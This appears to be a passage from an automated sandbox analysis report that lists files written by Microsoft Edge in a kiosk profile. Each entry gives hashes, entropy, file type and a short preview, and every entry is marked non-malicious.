Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF4add0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF4deb4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF50ae4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF53957.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF566fe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF595a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF5c25d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF5f237.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF621e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlFwzTlll:Ls3Cpll
MD5:	0FC961B38E8FFB9A814170FBE4AA54E1
SHA1:	44C1081A98AD14E88D9E0F032BF9C9D1E0AC4C6C
SHA-256:	0BE82A23917B3C4C6D6177D89B4760B6ED47A3349BFB6BA1B0D512E54B3FA29B
SHA-512:	E7FEFA0918B584A3542BE5DF828389A33FB9590337E781F0C5847CD4FBDF4C424EF1B795AED0D7294049FAF39B676D9DAD080DC541BBFEB4BD81902CEC166D42
Malicious:	false
Preview:	........................................=.Uv../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

